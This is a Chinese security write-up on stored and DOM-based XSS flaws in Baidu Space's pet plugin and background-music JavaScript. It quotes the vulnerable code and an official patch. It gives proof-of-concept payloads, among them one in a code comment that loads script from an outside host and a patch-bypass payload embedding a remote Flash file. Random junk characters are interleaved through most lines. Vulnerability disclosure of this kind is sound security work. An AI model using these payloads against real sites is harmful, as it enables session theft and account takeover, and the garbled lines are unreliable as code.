百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. . d6 m1 ?% ?. ^) n
# x* @) }2 }# t5 l
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
3 M0 O/ i' a+ ]. t2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ! N! K$ x1 q& ~8 e5 b
2 l6 H. ~' g, N" G! V, V将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
6 G- r/ B. S" G9 B, ^3 w5 E其中BdUtil.insertWBR为
* t+ M- B" ?5 e2 i- [function(text, step) { " T& Q0 L" l, R2 f
var textarea = textAreaCache || getContainer();
% Q6 s# w& f1 Y; E. c7 k3 M; A if (!textarea) {
9 p% c9 F- G8 Z& y1 ^ return text;
! \0 G. x! q' J: Q6 \9 }( H } % R' N( y y/ q0 A1 e+ {
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); : B. r1 ^7 W8 g( F' K) q
var string = textarea.value;
; R3 v6 C. u0 c var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
* }' v+ {. X+ H e& V var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 9 M4 l8 o* I# |* ?
return result;
! s2 T/ B! K5 r4 N}
# q {8 k$ ` \" H在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
6 I+ t+ W4 e) _# ?/ Y% ^测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 5 E. ^5 v/ H; ^" Y% @! L
! y: S+ c1 W+ S
二:creatbgmusic() Dom-Xss Bug ' g) T! B" o( {: X
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 $ \+ k! x, C) S& e+ s
! V( |+ t' x6 O9 \( c$ D
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
% O4 ?' Y" T1 _+ q5 L. Y. @" ~1 P8 m3 Z/ U% f" k& _
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
0 l& z( g* \8 H7 ^4 K! C3 c0 A# t //传入的murl赋值到bgmusic1和bgmusic2中 9 y* ?; M/ i: v* a& X
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
7 l& P: m1 k, C- ^7 `6 {2 k3 |# l var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
4 R9 ?! ]" ?2 }& k7 y( _ if (musicnum <= 1) { ( c. s9 U: y$ ~
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
7 L/ N: U, v; Q6 o, u) u3 A0 v }
7 Z i# W. D2 M' U; a% m$ ? bgmusic1 += "</OBJECT>";
, T y" }, y! P0 o$ k" @; A' u var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; . V6 X( j4 w4 ?% t# Z& e+ ~
if (musicnum <= 1) { & U, d( i4 ^* S( a' a8 z
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
: L. z- G! [; z } 5 e: {* L' R6 V1 q& B
bgmusic2 += "> </EMBED>";
V2 `/ J/ E4 n2 f$ x4 ^% A0 i var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; - T6 n$ y4 E, [! C2 m9 Z) ~
var bgmus = detectWMP(); 8 `% |+ N' {) }/ L, P
if (functype == "FckMusicHelper") { $ R; f% \# O- c/ k
if (bgmus.installed) { 3 C. @; s& J: x$ r; A
if (bgmus.type == "IE") {
3 K* m" o$ w9 m5 M0 S6 ` return bgmusic1; 3 k* _1 N& X3 c
} else if (bgmus.type == "NS") {
3 c. K. u {' m* h( A1 L return bgmusic2; 5 P( I, h4 T& G
} + e" ~9 N$ r9 a
} else { , f1 j( ^$ K7 B# d' j
return bgmusic3;
* u+ f" H i7 s G/ I( K0 y }
% L5 f0 B* ?- `# @8 K } else {
& r$ T) M9 z- b0 s# Y if (bgmus.installed) { # ^' \- ]+ o# e% y4 N! {
//document.write 直接输出bgmusic变量 导致xss ( g; O3 l, j. v
if (bgmus.type == "IE") {
' {0 e( e+ m2 j* ^, ^; M document.write(bgmusic1); $ O) q! I3 w4 G4 {$ S0 }( ^* k
} else if (bgmus.type == "NS") { 0 U0 U, }4 X! O& p
document.write(bgmusic2);
# i- K4 c) i L4 V } ( _7 V, n6 u; w2 _" k
} else { 9 r- e4 A& ]& b/ A
document.write(bgmusic3);
! z3 h' Y+ N- u* r4 I8 X; `) i$ Z: u }
7 P7 a- j8 k0 Y return ""; * h T! n W1 [
} 8 @: d; z# ?6 J& P- d+ g3 x
}
: B* [; N& ~$ D( G$ r; V: Q* [( K4 |* }. C" k7 S1 y( `
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
R" q# i* s& R6 E; ]* I! i" A6 p3 }
function initBlogTextForFCK(){ # D0 [; u+ k' _/ e% k# m0 D
//fck init music
+ U: f( P* m9 U& [5 R8 Tif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ! q0 [- i+ O) T* }# @
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 $ v; i7 }5 G3 @6 t. m2 z
var isAutoPlay=true; * J$ e" Z5 u V/ a- ^2 y* l
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. / M" R) o8 k& R8 {) j+ g+ a
var img=imgBox;
7 E1 l3 i1 H6 \! N, Q- y: I7 H if(img.getAttribute(’rel’)){
; X( C1 d: n S9 {) e, Q( w var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
# ^3 J1 s U1 p2 M var musicDiv = document.createElement("SPAN"); , w \7 C5 x3 F' N
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
: \' e8 m6 i0 h 1 P: L3 X$ o' z
..........................
$ {# ^, Z Q X1 Y 3 o. p6 B# @* I: k b" |
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
6 _3 g: t; `* N: f9 \* Y var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" Z+ d3 p2 \: u% m3 k shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
/ t% t# {& p ?0 U$ M2 [ musicDiv.innerHTML=shtml;
0 O( Z5 V" s2 v5 g- a: z i--;n--; / s" }2 z' _0 y# C+ u. O2 x. f
}
, t8 x( i u* p- Q' {3 q& j. ^! d}
: b" @7 _5 `" q' n$ k8 o' k$ k9 ^5 w* e. K+ o1 J9 ?
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
2 N& w2 J% j4 \, v! c6 Y+ |1 i 7 N# t* b( K0 f) ~3 k
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
+ C& n4 K% }5 f5 U
2 B$ k# L8 ^1 O# h等待官方补丁
5 u+ s% c( n" g3 K
5 ~1 t. e# Z- l1 A1 r: F5 l& yupdate 2010年5月13日
# g |# j6 P; E
' R% A: x9 T8 s+ ^官方补丁:
1 z; X# M3 F% G) t$ v% P6 l4 o6 C1 b4 G( ?
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
4 E R* |- E& @7 S! s* j7 j% Z. A改为:
$ y2 y8 Y* `, I* {& avar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
: ?5 t1 l5 ~/ U3 c d. W C
/ a! R$ R5 z$ a1 y8 Uupdate 2010年5月13日 21:50:37
9 W2 ^6 ^# R3 `5 r) E8 i5 f( h
补丁存在漏洞 没有过滤" 可以继续跨:
" q* @# m O7 ~! u4 k* R, l. O$ X
! [) ~# B- N' g+ {/ S) A' d, g. G6 oNEW POC:
4 {/ L5 S2 O: r( U1 {" ^6 {, C1 `8 e, _7 G" N n: g) h2 `
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
) r: l7 C' P% M9 Z8 k8 J
7 w) X N' R% O9 |0 D; g) Ballowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
/ s" j& p! \9 }) {% f0 }
# B/ f' ~: C7 H0 j- `6 D9 \ |